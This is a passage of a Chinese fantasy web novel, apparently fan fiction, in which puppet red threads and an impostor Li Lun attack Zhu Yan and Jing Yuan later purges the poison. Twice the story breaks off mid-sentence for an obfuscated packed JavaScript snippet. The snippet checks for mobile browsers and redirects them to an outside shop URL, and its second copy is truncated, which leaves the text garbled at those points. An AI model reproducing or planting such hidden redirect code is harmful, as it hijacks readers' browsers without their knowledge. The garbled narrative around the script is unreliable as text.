“哥哥!你等等我!” 停在半空的鼗鼓忽而翻面,一动一响。 本该是被幽蓝光辉包裹着的鼓,此刻一整个鼓开始发出诡异又骇人的红光。 摇动着的鼗鼓,鼓面中央镌刻了古槐一族族徽的中心,发出红光的鼓波,缓缓飘出一根红线。 一根红线落地,变成一个人。 一个身着宽大黑金华服的孩童,从奈何亡桥的对面,先行缓缓现身。 白槐身后那一头蓝到泛黑的长发,被后方奈何亡桥的鬼域阴风,吹得些许飞扬。 冷冽淡漠的眼神,深邃俊美的轮廓,欺霜赛雪的眉目,白槐简直就像是缩小版的离仑。 在看到他那张脸时,朱厌彻底愣怔在原地。 白槐跟白玖明明是双生子,明明长着一模一样的脸。但是,在气质与性情方面,白玖随朱厌,白槐随离仑。 白槐不仅气质跟离仑相似,就连额间都是跟离仑一模一样的槐鬼妖纹。 可是,越是相似,就越让从头到尾盯着他看的朱厌,莫名心生出几分恐慌乃至害怕,让他不由后退了几分。 比起欢喜与开心,此刻的朱厌,更多的是恐慌与害怕。 他不明白,自己为何是恐慌与害怕。 “哥哥!你等等我!” 鼓声一响,后头又追来了一个一模一样的小孩。 跟白槐一模一样的容貌,唯一的不同,便是他脸上的妖纹是白猿一族的妖纹。 白玖扎起来的小辫子上绑着叮当作响的小铃铛,一身杏黄雪袍倒是将他衬托得像一个漂亮得雪团子。 他竭力追着前面的白槐,甚至因为跑得太快了,还差点被宽大的衣裳裙摆绊倒。 白玖好不容易追到了白槐身边,气得嘟囔着的小脸,一脸傲娇,颇为不满地控诉着:“哥哥!你又不等我!我要跟娘亲告状!” 面对白玖的要挟,白槐早就习以为常,只是表情淡淡,脱口而出:“小告状精。” 白玖一听,顿时像一只炸毛的小猫儿:“白槐,你又骂我!我要跟娘告状!你有本事,你别偷娘给我做的杏仁酪乳!” 白玖围着白槐,依旧一个人朝着他叽叽喳喳说个不停,又是控诉又是反击,一时之间把平静的槐江谷弄得格外热闹,更是让站在原地愣怔住的朱厌慌乱了起来。 鼗鼓又响了一声,随后一道高大伟岸的声音,在鼓声跟歌声中,缓缓现身。 是离仑。 离仑依旧一如既往地惜字如金,只是朝着一旁两个拌嘴个不停的小孩,淡淡说了一句:“再闹阿厌,都丢去喂横公鱼。” 刺骨寒冷的鬼域阴风穿过眼前昆仑神桥上挂着的无数祝福法铃,撕心裂肺的鬼魂吟哮变成古老又诡异的唱颂,混着声声震耳欲聋的鼗鼓声,悲怆凄涔,刻骨铭心。 眼前的所有一切,都勾得朱厌眉心那道沉寂的幽蓝妖印浮现了出来,连同先前在嗔海憾境内裂开的小缝,也露了出来。 伴随着鼗鼓摇动的速度越来越快,鼓声越来越响,朱厌开始变得更加不对劲起来。 朱厌只觉得,自己的头,仿佛再多一秒,就要彻底炸开了! 他眉心的那一枚幽蓝妖印,开裂的位置,在无声的疼痛当中,又多了一道新的裂痕,裂得更明显了。捂住头的双手,他的左腕内侧,一道印记若隐若现正发着淡光。 被英招强行带走的琉璃,此刻被他放在一个铺满镇魂草和灵烬花的小窝里,放在窗边晒着纯净月光。 原本因伤而睡的他,幽幽转醒,缓缓睁开了紧闭的双眼,冰蓝竖瞳里泛过一抹诡异。 下一秒,琉璃便悄无声息地消失在小窝里。 九幽鬼域的聚魂鬼海里,被无数根天玄链锁着的枯萎槐树之根,原本安静的槐树根,开始发出剧烈的震动,天玄链被震得哐哐作响,连带着一整座魂牢都开始动摇起来。 净渊火急火燎赶到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574684|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为是藏在槐树之根内的小小槐鬼又在闹着脾气,故意黑着脸,凶着冲它大声一喝:“我说你,能不能好好停歇一下,别再闹腾了?!收留你,本来我就很不容易了,得防着朱厌防着英磊防着英招防着陌离,还得防着那一位!” 剧烈震动着的槐树之根被净渊这么一吼,像是在无声地抗议着,震得更加厉害了! 一整个聚魂鬼海和魂牢不断摇晃着,突然停了下来。 终于,藏在槐树之根里头的小小槐鬼,扒拉了老半天才肯悠悠现身,小屁股墩儿噗嗤一声,坐在了枯萎的槐树根上。 花生米大小的小小槐鬼,指了指自己身上穿着的白色小衣裳,还用吹口水泡泡的蠢方法,给净渊传递着自己的想法。 小小槐鬼奶声奶气朝着净渊一喊:“厌!” 生怕净渊没听到,小小槐鬼连续吹了一个又一个口水泡泡。 啵啵啵的,一声又一声微响,口水泡泡破开后又变成了一个个蓝色的‘厌’字。 小小槐鬼又冲着净渊奶声奶气喊了一声:“厌~” 当净渊在听到他的话,跟看到他的口水泡泡破开后,脸上除了无奈就是无语,轻叹一声后故意回了一句:“得令!老奴,我现在,这就去大荒,看看你老人家的心爱之妖,就是那只爱美的白猴子。” 秒懂的净渊,有时候他在想,真恨不得完全看不懂这木头的话,那得多好呀! 小小槐鬼盯着他看了好一会,像是在思考着净渊的话,才迟钝地点了点头。 小小槐鬼颤颤巍巍从槐树之根上站了起来,转身,刚把自己的小短腿伸入槐树之根,准备钻回去的小小槐鬼,又停了下来。 净渊还以为他又要讲什么,正准备倾身听他说呢,就听小东西莫名其妙说了一句。 小小槐鬼很认真地纠正了净渊的口误:“厌...猿...” 净渊只觉两眼一黑,根本不敢睁开眼,只希望眼前的一切,都是他的幻听加幻觉。 当初的他,肯定是脑子被驴给踢了,才会答应与这满脑子只有朱厌的破木头,同流合污! 槐江谷小居这边,莫名其妙出现的一切,都像是在刻意引诱着朱厌失控。 朱厌的眼睛,开始从正常的暗红瞳色变成诡异的血红。脸上白猿一族的妖纹,更是从暗红色泽褪成了诡异黑纹,此时此刻正往外冒着黑气。 冒出来的黑气化作一团,围在朱厌身边,不断盘旋飞动着。 这些奇怪横生的黑纹,逐渐爬上朱厌因痛苦挣扎而青筋暴涨的脖颈。 朱厌一头刻意变幻过的发丝,从变幻乌黑褪变为初生雪银,可又从初生雪银开始从发根向上变黑。 与此同时,朱厌左手腕内位置,一道灵白的蛇纹浮印缓缓现出,发出淡淡白光,越来越显眼了。 ... “娘亲,你看,哥哥又欺负我!他不仅欺负我,他还偷你送给我的杏仁酪乳。” “我没有。小告状精。” “娘亲,你看,证据确凿,他又骂我!” 对面传来一声轻笑,揶揄一说:“小槐精,不许欺负你弟弟。” “白槐,我不仅要跟娘说,我还要跟爹爹告状!” ... “撒谎!都是骗子!我要杀了你们——” 朱厌开口的声音好似千万道嗓音在嘶吼着,额间的幽蓝妖印,发出裂开的微响。 随着他的情绪愈发激动,幽蓝妖印裂的速度更快了。 第三道裂纹,裂开了即将一半。一根细如发丝的红线,顺势钻入了朱厌眉心妖印的裂缝里。 一声妖兽嘶鸣的怒吼声,破空穿进槐江谷小居。 一道白黄相间的光落在了小居庭院,是一位长相俊美,气质如玉的男子。 琉璃惊呼出声:“朱厌大人!” 一眼就看出朱厌不对劲的琉璃,正想上前探个究竟,就被朱厌身上冒出来的黑气给袭击了,整个人直接被弹飞,滚到了一边,活生生吐了一大口血。 琉璃一咬牙,眼神由柔转厉,一声仰天嘶吼,开始蛇化。 片刻之间,一条通体莹白,身长百丈的灵白巨蛇,就在小居庭院盘踞现身。 蛇化后的琉璃,看到一旁越来越不对劲的朱厌,一双冰蓝竖瞳愤怒地望着站在奈何亡桥上的人。 在看到对面三人长相后的琉璃,也跟朱厌一样,神情先是错愕与怔愣,但更多的是震惊恐惧与不可置信:“王...” 可上一秒还在震惊的琉璃,转间为怒,眉间骤然露出一个灵白色泽的蛇纹浮印。 这枚浮印竟跟朱厌左手腕上的那一道印记,一模一样。 是灵契。 琉璃眉间的蛇纹浮印飘出一抹白光,白光褪变成一个大白光圈,将朱厌圈了进去后,便将他强制弄晕了过去。 琉璃飞速滑行过去,小心翼翼的用身体,将朱厌盘在自己的蛇身中央,团团保护起来。 琉璃吐着猩红的蛇信子,一眼警惕盯着桥上站着的人,并且很不客气地朝他们发出一声震耳欲聋的嘶吼。 随着后方藏起来的鼗鼓一声鼓响,站在奈何亡桥上的‘白玖’、‘白槐’和‘离仑’,三人双双抬眸,对上对面蛇化后的琉璃。 细看之下,便能发现,他们三人的眼中都被一根诡异的红线横穿着。 那是傀儡红线。 靠吸食主人记忆而长出来的傀儡红线,也能一定程度上复刻主人的一切。虽然最多一半,但也足够用了。 蛇吼化作无数声刃,朝着对面三人,毫不留情地击去。 鼗鼓忽而又一响,‘白玖’跟‘白槐’都像脱缰的提线木偶,自发动了起来,对琉璃发起了夺命攻击。 可是,真正的白玖,根本不懂武。 红线操控下的‘白玖’,只能动作生硬地照搬一旁‘白槐’的招数。 如今的琉璃,虽身负只有一半修为,依旧是修炼万年的大妖兽。 他的攻击又猛又烈,即便两人联手,也顿时被他击退得只能不断后退防守着。 一旁的‘离仑’看到了,正想要出手,一道绛紫色的光,从天而降—— “都是几万年的老朋友了,打打杀杀的,有意思吗?” 44.一介走狗 净渊抬眸,对着眼前蛇化的琉璃吩咐道:“琉璃,带朱厌走。” 琉璃刚一动,对面也随之传来一波攻击,却被背对着他们的净渊一个抬手,轻而易举地给挡了回去。 “乘黄,几万年的老朋友了,我前脚刚回九幽,你后脚就闯入大荒,打扰我的故人,太不给面子了吧,嗯?” 净渊转身,一脸慵懒,好似根本不把对方放在眼里,只是微微抬眸,瞥了一眼对面的人。 那双轻抬起的紫眸,在看清对面人后,先是表情愣了一下,随后反倒笑出了声。 对面半空飘着的鼗鼓,再度停下摇动。鼓声一停,红光消散,其中两根红线被收了回去。 横穿在眼中的红线消失,‘白槐’和‘白玖’也同时双双消失在原地,只剩下一旁那道高大身影。 ‘离仑’嘴角咧开一个诡异的冷笑,压低的嗓子阴恻恻又极为刻意拉长了声线:“好久不见啊,净——渊——” 此话一出,净渊眉眼不自觉一挑,连带着他眉下那一抹紫白相间的鬼纹,都上扬了一分,衬得他那张本就极具攻击性的脸,愈发邪魅狂狷:“你小子,太久没见到你这张脸了,倒是有点儿想念了...” 净渊那双抢眼的紫眸,看似无意望了一眼四周,里头的情绪,由方才的不屑逐渐转为晦暗。 “乘黄,有点意思。你竟能拿到这木头的记忆。这替身,看着,像是挺像的...” “可惜了...”净渊语气里透着满满的惋惜之意,不由揶揄对面的人,“那个木头,满脑子除了朱厌就是朱厌。别说出手伤他,朱厌要是让他现在去死,我估计,他都笑着去。” “全大荒都人尽皆知的事情...乘黄,你该不会,连这一点都不知道...吧——” 当最后一个‘吧’字落下之时,净渊眼神忽而一厉,伸手从自己后背的脊骨之中,一把抽出自己的斩荒链。 往地上随意一甩,原本一米长的斩荒链一下子变成了好几米长的长链。 净渊反手一握,斩荒链一个甩动,一道紫光便朝着对面精准劈去。 对面的人丝毫不畏惧,嘴角挂着的笑又往上扬了几分,掌心一翻,一枚红色的鼗鼓现于掌心。 ‘离仑’修长的双指一敲鼓面,发出的红色鼓浪,轻而易举挡掉了净渊的攻击。 “不错。”净渊倒是被他彻底挑起了战欲,脸上露出一抹欣赏之色,“虽是替身,但倒是有他几分往日的样子。” 哪怕对面只是个暂时替身,比起聚魂鬼海里那个只会吹口水泡泡并且满脑子只会命令他来找朱厌的小东西,净渊还是觉得对面的替身顺眼多了! 就是一个不小心,顺着眼顺着手,再顺着顺着,净渊便不自觉将往日里被魂牢里那小东西命令受的倒霉气,统统都撒到对面替身上,出手更是一招狠过一招。 傀儡红线操控下‘离仑’,吸收了真正离仑的部分记忆。武力值方面,虽不及正主,但也勉强复刻了一半。 一秒之间,两人交手早已过上百招。 净渊是很强,但这个‘离仑’也不甘示弱,招招接下,招招化解。 一阵尘土飞扬,夜风吹散,露出各自为营的对峙双方。 早就得知靠着一根傀儡红线维持的替身,神似主人最多一半,可净渊还是忍不住挑衅一问,试图挖出更多信息。 “怎么?不是拿到了那木头的记忆了吗?就这么点本事吗?乘——黄——” 躲在昆仑山窟里,飘在半空的魑魅沙漏亮着光,照亮了整个昏暗的山窟。 通过离仑的鼗鼓,操控着傀儡红线的乘黄,一听净渊的问候,不禁咧嘴一笑:“是净渊啊...” 乘黄的声音忽然就穿破时空限制,跟站在净渊对面的‘离仑’,两人的声音彻底交叠在一起了。 净渊收回斩荒链,一脸不屑道:“世人都说,狐狸有恩必报。乘黄,朱厌好歹也算是你半个救命恩人。当年要不是他出手求情,单凭你滥杀万妖这一条大罪,离仑那小子,早就把你给挫骨扬灰了!你就是这样报答你的救命恩人的?” 藏起来的乘黄突然狂笑不止,笑着笑着突然又变得面无表情起来:“谁跟你说我是青丘那臭狐狸一族的?” 乘黄脸上的表情突然变得狰狞起来,连声音都充满了愤怒:“我杀妖,那又如何?是朱厌自己想救我,干我何事?” 乘黄继续咬牙切齿说着:“我早就跟他说了,这世间上,唯有真心,最为没用。可他,就是偏偏爱离仑!” 说到最后一句话时,乘黄的表情是前所未有的狰狞,疯狂又愤怒。 净渊一听,不由嗤了一声,露出一个极为嫌弃的表情:“也对,你确实不是狐狸,也不知道是什么鬼东西。但我觉得,朱厌有一点说你说得倒是挺对的,你想知道吗?” 听到净渊提到朱厌,被勾起好奇心的乘黄,不禁睁大了双眼,好奇一问:“他说什么了?” “他说,”净渊收紧了手中的斩荒链,眼神像是在看一个即将死去的人似的,冷得犹如深渊地狱,“你,就是个祸害千年的老不死——” 斩荒链精准缠上对面‘离仑’的腰,净渊用力一扯,当下‘离仑’的身体就被他扯得四分五裂,直接爆开了。 爆开带来浓厚的白雾,可是当白雾卷起的灰尘微散后,又一个‘离仑’露了出来。 这一次,这个‘离仑’没有说话。只是背在身后的手,掌心跳跃出一股涌动着的黑色水流,诡异又邪门。 像是察觉到什么东西,躲在后方,被乘黄强行控制着,用来操控傀儡红线连接替身的鼗鼓,忽而发出剧烈的颤动,鼓面上闪烁着的红光转为蓝光,强行斩断了那根横穿进替身眼中的傀儡红线。 “不好!”躲在山窟操控着鼗鼓的乘黄惊呼出声,顿时面目狰狞起来,情绪失控地直接当场破口大骂起来,“该死的!” 失去傀儡红线的替身,一下子就停止了行动,富有光泽的眼睛顿时就灰暗无神得如同死物。 而那枚由红转蓝的鼗鼓,像是失控疯了般,拼命挣扎着,最后直接飞离了槐江谷。 鼗鼓的飞离,迫使乘黄离开了昆仑山窟,直接快速追了过去。 追鼓之前,乘黄还不忘继续施法替身,确保足以牵绊住净渊,替身也如他所愿,想方设法将净渊彻底引离了槐江谷小居。 琉璃驮着昏迷不醒的朱厌,直接将他带回了昆仑小居。 还在正屋跟槐精们唠嗑着那挽歌之术跟鲛人故事的英磊,在听到前院传来又一声巨响后,终于后知后觉地拎着自己的大菜刀,追了出去。 “谁呀!大半夜的不睡觉?还砸院子!不知道这里是大名鼎鼎的本山神我家嘛!”英磊开始破口大骂着闯入者,一幅恨不得把对方给骂回去的样子。 伤上加伤的琉璃,很努力地拖着昏迷不醒的朱厌。在即将跌倒前,一道黄黑相间的身影,终于赶到跟前。 在看到两人的瞬间,英磊脸上先是露出了一个呆若木鸡的表情,转头看了看身后屋子隔壁的隔壁的隔壁房间的窗口那空荡荡却正晒着月光的小窝,转回头后又傻不啦叽地冲琉璃开口一问:“咦?琉璃,你能化出人身了?!” “英磊大人!” 英磊的这句话,把琉璃给气得当下不知道说他什么了。 他这只小熊猫他是没瞧见被他扛着,已经半死不活的朱厌大人吗?!这么多万年没见,这山神大人,还是一如既往地没有眼力劲! “哦哦哦,我在的在的~”后知后觉反应过来的英磊才终于看到被琉璃半扛着的朱厌,“本山神来了!” 朱厌一身冒着黑气,连脸色都惨白如纸,奄奄一息的样子倒是让英磊觉得,仿佛下一秒,他就真的要彻底死去一般。 英磊连忙伸手,打横将朱厌一把抱入里屋,嘴里还不忘絮絮叨叨啰嗦个没完没了:“朱厌你又怎么了?我的大小姐呀!哎呀哎呀,嘶呼——” 只是吐槽还没几句,抱着朱厌的英磊就又哇吱乱叫起来:“不是,他怎么冷得跟冰块一样呢?琉璃,你干嘛他了?!” 琉璃一听,看见英磊本就来气的他,一下子火更大了,直接毫不客气回怼了他:“我能把朱厌大人干嘛了呀!人家已经有伽罗了!” 英磊一听,一下子就被他吼懵了眼,巴眨着大眼睛,站在原地傻了大半天才反应过来自己到底听到了啥?! o((⊙-⊙))o 嗯?!怎么哪里怪怪的?! 反应过来的英磊忍不住想淬上一口:琉璃这臭小子,到底知不知道自己在胡说八道什么呀?!! 而另外一边,飞离了槐江谷小居的鼗鼓,散着微弱的蓝光,跌跌撞撞飞到了奈落川,强行闯入了奈落川的结界。 一道身影随之追来,气急败坏的乘黄看到后也随着鼗鼓,闯过结界,进入了奈落川地脉。 谁知道,他刚一踏入奈落川,一道圆形结界在上空骤然凝结而成,将奈落川与大荒彻底隔绝成两个世界。 结界内,突然黑夜转白昼,一直躲着乘黄的鼗鼓,也不再躲着他。 发着微弱蓝光的鼗鼓,停在半空,一动不动。 正当乘黄施法想要抓住它时,鼗鼓一动一响,这一次可不像先前它被抓住时那般,而是把乘黄的施法,轻而易举给化解掉了。 鼗鼓的鼓面中央,渐渐钻出一抹淡到几乎快看不见的幽蓝光雾。 乘黄步伐才刚迈开,想再靠近那鼗鼓些许,那抹幽蓝光雾忽然褪变为一抹光丝,像是璀璨烟花般一爆而开。 刺眼的白光,让乘黄下意识挥袖一挡。 白光消退,光雾落地的瞬间,一道高大的身影,缓缓出现。 乘黄放下挡光的衣袖,在瞧清楚来人后,那张惨白的脸上扯出的生硬笑容,幅度扯得更大了。 “当初在这里抓到你的时候,我就有所怀疑...”乘黄冷笑,阴恻恻一说,“果然,不出我所料,真不愧,是大荒妖王的命格法器——” 对面来的人,随着他逐渐走来,周身开始渐渐涌现出一股一会蓝金一会黑金的光雾,力量强大到他每朝前走一步,光雾四周的一切都直接被这股力量掀翻破开。 光雾将他整个人团团围住,那是离仑的槐鬼之力。 可是,离仑真正的槐鬼之力,应该是鎏金中带了一抹纯净的白泽色,而不是对面此刻一会蓝金一会黑金,不断来回变换着的颜色。 对面此时朝乘黄走来的人,也并非是真正的离仑。 大妖的武器,不仅认主,也随主,所生力量更是与主人一脉相承。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我说过,在大荒,我离仑就是他的资格。”离仑看似漫不经心的攻击,实则招招夺命,“乘黄,你不过是他的一介走狗,也配碰他?” 又一波幽蓝鼓浪朝着乘黄狠狠袭来,离仑步步紧逼,招招都下死手的夺命狠招。 一时之间,被鼓浪影响得飞沙走石的周围,没一会就变成了一片废墟。 而对面的乘黄被离仑逼得他根本连一丝出手的机会都没有。只能想尽办法,在确保防守到位的同时,见缝插针地回击。 乘黄被离仑逼得直接放出大招,一波金色的傀儡妖力朝离仑正面砸去,却被他轻易地用双指就给化解了。 离仑摊开的手,直接将乘黄攻击他的傀儡妖力占为己有,汇入自己的鼗鼓之内。 修长分明的双指,交错着往自己的鼗鼓上那么随意一敲,吸收了傀儡妖力的幽蓝鼓浪直接变成蓝金色,连带着攻击的威力都上涨了数百倍,将乘黄打得直接后退了十几米。 乘黄再一次被离仑给逼得,只能一边单手开阵抵挡这一波致命鼓浪,一边单手挥袖挡住脸面,生怕这鼓浪会损伤了自己的身体与脸面,可终究还是挡不住一小部分穿进阵法中的鼓浪。 那些无形的鼓浪,化作数百道无比锋利的薄刃,在他惨白得毫无血色的脸颊上,留下无数道又深又长的血痕。 对面步步逼近的离仑,倒是泰然自若得好似在逗着小孩般,看到乘黄被他耍得团团转,离仑那双幽蓝深瞳里,除了满满的挑衅,更多的是戏谑与鄙弃之色。 乘黄被气得直接抛出魑魅沙漏,魑魅沙漏从巴掌大小变得无比巨大,想要强行将鼗鼓给收进去,可却离仑轻轻一挥手,反用一个鼓浪将魑魅沙漏给直接拍碎了! 遭到反噬的乘黄直接吐出了一大口血,抬手擦掉嘴角的血渍,突然朝向他走来的离仑,露出一个十分疯批的诡笑。 乘黄冷笑着,阴恻恻一说:“离仑,别忘了,你已经死了。” 说完这句莫名其妙的话,他忽然十指结印,口中念咒,而两人所处世界的半空,被他强行撕裂开,露出一处景象。 里面正是昆仑小居,还有躺在床上,尽管昏迷不醒,可还是把自己蜷缩成一团的朱厌。 朱厌那张失去血色的脸上,眉眼之上都结了一层薄薄的冰霜,即便英磊在屋内起满了炭火盆子还有给他盖了好几张厚被子,可他还是冷得整个人瑟瑟发抖,身上还有逐渐恶化结冰的趋势。 而他眉心那一枚本该藏起来的幽蓝妖印,再次露了出来,上面裂开的第三道裂缝只裂了一半就停下了,好似隐约可见其中有一抹红在里头游动个不停。 离仑在看到境中人的那一瞬间,在看到那道熟悉的背影以及那张写满了难受的脸,他那双幽蓝深瞳紧紧一缩,连攥着鼗鼓的手都下意识不由一紧,小小声的自我念着:“阿厌...” 乘黄眼中闪过一抹得逞的精光,继续不断拱火,引诱着他:“没错,就是你的阿厌,你念念不忘的朱厌。” “离仑,你已经死了。你是死的,可他是活的。” “看到了吗?朱厌他很痛苦,而他,就是因为你,才如此痛苦的。” “只要你乖乖听令于我,我便将朱厌体内的傀儡红线,取出,如何——” 45.寒霜小居 昆仑小居这边,英磊跟琉璃急得在原地团团转。 槐精们也很担心朱厌,但英磊怕他们关心则乱,便将他们一个个都赶到门外,更是在门口下了禁止他们进出屋子的结界。 站在外头的槐精们,都进不去也看不见里面的情况。 无奈之下,槐精们灵机一动心生一计,就是让小同伴们轮流一个蹲一个爬的形式,光明正大的摸到窗户那边探个究竟。 屋内堆满炭火盆子,英磊更是一床又一床的厚被子直接往床上搬着,可还是挡不住床上的人冷得瑟瑟发抖。 整个屋子的四周墙壁之上,甚至都开始布满诡异的冰霜,屋内的温度直接骤然降到零下几十度。 英磊被冻得直哆嗦,连话都说得不利索了:“不...不是...朱厌到底怎么了?为什么会突然冷成...冷成这样子?” 英磊尝试给他注入山神之力暖和他的身子,可是都没用。还没一会,朱厌的手上跟脸上又开始布满薄薄的一层冰霜。 床上的朱厌,昏迷不醒,将自己蜷缩成小小的一团,一幅满是防备的模样。 那张失去血色的脸,眼角蓄泪,满是痛苦的表情,像是深陷于难以自拔的梦魇般,口中念着的话语,断断续续的破碎。 “...我错了...我错了...真的...别走...是我的错...” “不是的...不是的...我错了...” 咻的一声,一道绛紫光辉精准落到了昆仑小居的院子。 刚落地,净渊就察觉到整座昆仑小居被一股莫名的寒意被包围着,处处透着诡异的阴冷。 一入屋,在看到朱厌时,愣了一下后赶紧冲了过去。 净渊着急一问:“怎么回事?他为什么会这样?” 英磊被他问得一脸懵,直言道:“我也不知道,琉璃把他带回来的时候,他就这样了,昏迷不醒,周身寒冷,简直就是掉入了十尺冰窟!” 净渊看了一眼琉璃,琉璃也摇了摇头,表示自己也不清楚。 “英招呢?” “陆吾大人找我爷爷有事,估计没那么快回来。” 净渊走上前一看,给朱厌探了下脉搏,眼神瞬间一暗,心里头估摸着这大约又是乘黄的手笔之作,忍不住破口一骂:“该死的破人偶!” “英磊,你来扶住朱厌,我来施法替他解了这傀毒。英磊,英磊?” 净渊喊了老半天都没等到回复,抬头一看,整个人直接傻在原地,老半天才回过神。 英磊哆哆嗦嗦抖着跑了过来,肩上还披了一件超级厚实的狐裘大衣,还带了一顶狐狸帽,把自己裹得跟虫茧一样,嘴里冷得不断泛着白气,可还是不断念叨着冷死了。 屋子突然安静得诡异,英磊抬头一看,对上琉璃跟净渊的眼神,顿时有些不好意思地挠了挠后脑勺:“真不怪我,虽然我有毛,但这屋子被朱厌弄得实在是太冷了...” 他话刚说完,屋内的炭火盆子都瞬间熄灭了,连带着铜盆子的表面都开始弥漫结出薄薄的一层冰霜。 净渊有点想骂人,眼里满是无语之色:“你过来扶住他,我来给他解毒。” 谁知,英磊直接摇头拒绝了,示意看向琉璃:“琉璃,你是冰蛇一族,不怕冷,你去!” 琉璃一听,直接给英磊翻了一个大大的白眼,还不忘嫌弃着他:“真是没用的小熊猫!” 英磊一听不乐意了,正想开口怼,就被朱厌一声痛苦的呻吟给打断了。 净渊又破开大骂了乘黄一顿,把朱厌交给了琉璃,直接结印开阵,将九幽冥火召唤了出来。 琉璃一脸担忧,手更是不停地将朱厌脸上的冰霜弄掉。可是结冰的速度太快了,他才刚弄完下一秒就又结了出来,根本弄不完。 一抹紫蓝色的火焰,于净渊掌心之中跳跃而现,是九幽冥火。 九幽冥火,生于亡灵之念,因执而生,因执而散,不熄不灭,燃灼万物,乃是九幽鬼域的力量所源,更是与他本命紫月之力相辅相成。 这冥火,可以将朱厌体内的傀儡红线强行挖出。 当净渊将冥火转为莲焰打入朱厌眉心的瞬间,朱厌痛苦得直接哀嚎挣扎起来,脸上一瞬间布满红线纹路,颇为恐怖。 九幽冥火开始吞噬掉他体内的傀毒,最后将那一根细如发丝却带着致命毒素的傀儡红线给挖了出来。 傀儡红线被净渊单手捏爆,傀毒也解了个干净,而原本被强行压制住的妖印也露了出来。 在看到朱厌眉间那道因为裂开,而不断往外飘出幽蓝光丝的妖印时,净渊的眼里闪过一抹复杂之色。 这不是...那小子的东西吗? 朱厌眉心那一枚妖印的图徽,看似是离仑古槐一族的族徽,但又颇为不同,像是又融合了其他东西在里面。 这一次,朱厌眉间藏起来的妖印毫无遮拦地露了出来,在场的所有人,都看得一清二楚。 尤其是英磊,当下就停住了冷得龇牙咧嘴的表情,瞬间变得严肃起来,眼里不由一沉。 “这...这个徽印好熟悉呀...这不是...王的妖印吗...”饶是拥着朱厌的琉璃开口打破了这屋内突如其来诡异的安静,眼里除了震惊更多的是疑惑。 净渊开口解释道:“这不是离仑的妖印,里面还有其他东西。” 琉璃一惊,当下就问了起来:“什么东西?” 净渊也不清楚,只是摇了摇头。 倒是一旁一直安静着的英磊,一幅欲言又止的模样,但最终还是开口一说:“这个...以后再跟你们说吧...事情有点复杂...” 察觉到英磊的异样,净渊也没有说什么,只是看着他的眼里多了一分警色。 确认过朱厌没事后,净渊回了九幽,只不过没有回无殇楼,而是去了聚魂鬼海。 聚魂鬼海禁地里,净渊站在魂牢前,对着那一节漂浮在半空,被上百根天玄链锁着的枯萎槐树之根,脸色有些严肃,眼色格外复杂,一个人喃喃自语着。 “今夜,如你所料,朱厌,确实出事了。” ‘朱厌’这个名字一出,眼前枯萎的槐树之根,中间那一小节色泽还算勉强鲜艳的位置,亮了一下。 一抹幽蓝淡光又亮了一下,过了许久,久到净渊以为它根本不会出来了,差点就要转身离开了,它才出来了。 藏在里面那一个淡到几乎快消失的小东西,磨磨唧唧了老半天才从槐树之根里头给钻了出来。 只是,本来就淡得几乎快瞧不见了,此刻的它,对比净渊离开前的那一次见面,变得更淡了,连带着先前同净渊顶嘴,喊话他去大荒看朱厌的那股精气神气势,都消失得一干二净了。 小小槐鬼有些奄奄一息,连坐都坐不住了,只能趴在槐树之根上。 净渊一看,当下就双眉紧皱,心中一沉,连忙走近一看。 他正想伸手一探,却被小小槐鬼用着小小的手,很是傲娇地给直接拍开了。 可是,花生米大小的小小槐鬼,它的无声拒绝,在‘庞然大物’的净渊面前,根本就是直接忽略不计的无效抗议。 小小槐鬼看到自己的拒绝被忽视,但依旧不想被净渊碰,直接卯足全身力气,给自己翻了个身,成功躲开了净渊的指尖触碰。 净渊一看就来气,当下就开骂起来:“你小子,都要死了,还不让我看你一下!亏我用鬼力还有各种天灵宝材养了你这么多年!真是养了个白眼妖!” “你若是死了,可就再也看不到你心心念念的朱厌了。你自己好好琢磨思量下吧!”说完,便一幅作势转身就要离开的架势,可双脚却杵在原地,纹丝不动,静待身后的回应。 半死不活的小小槐鬼一听再也见不到朱厌的威胁,这才又卯足力气把自己给翻了回来,像颗小海星一样,摊开四肢,挂在槐树之根上,一幅视死如归的模样,等着净渊的检查。 “哼!跟我都斗!再多修炼个几万年吧!”净渊一脸得瑟说着,但也不忘认真检查起小东西。 越看脸色越不对劲的净渊,眉头紧皱,最后直接黑着拉长了脸,自我嘀咕着:“完了,你是真的要死了...没时间了...” 转而,他又很认真质问起眼前半死不活的小东西:“你说你,到底把自己的精魄撕成了多少块?” 净渊忍不住揉了揉发酸得搐痛的太阳穴,他是很想找齐这小子的精魄,但离仑把自己撕得四分五裂的,他是真的有些没辙了。 这么多年了,他也只是寻到了这一抹残存的精魄寄生于这枯萎的槐树之根上,上天下地,刀山火海,想尽了一切办法,才好不容易将这枯萎的槐树根给硬生生养活了一丁点。 他才出去了这么一会功夫,这小东西就莫名其妙半死不活起来了,虽然他心里隐隐猜到,这与今夜朱厌出事有着千丝万缕的关联,可他真觉得,有一种自己将这小东西捧在手心里当宝养着,可这个宝自个丝毫不知,只晓得作天作地弄死自己的既视感。 “我看到朱厌眉心的妖印了,一看就知道肯定跟你小子脱不了干系!你到底还瞒了我多少秘密呀?!” 小小槐鬼这次连听到‘朱厌’都没反应了,依旧没有回他,像颗小海星一样,瘫趴在槐树之根上,奄奄一息的,大气都不出一口,好似只出不进。 净渊一脸无奈又吃瘪得无计,一边吐槽一边从怀里掏出个东西,把它变得特别特别小,用指尖掐着,然后小心翼翼放到小小槐鬼身上。 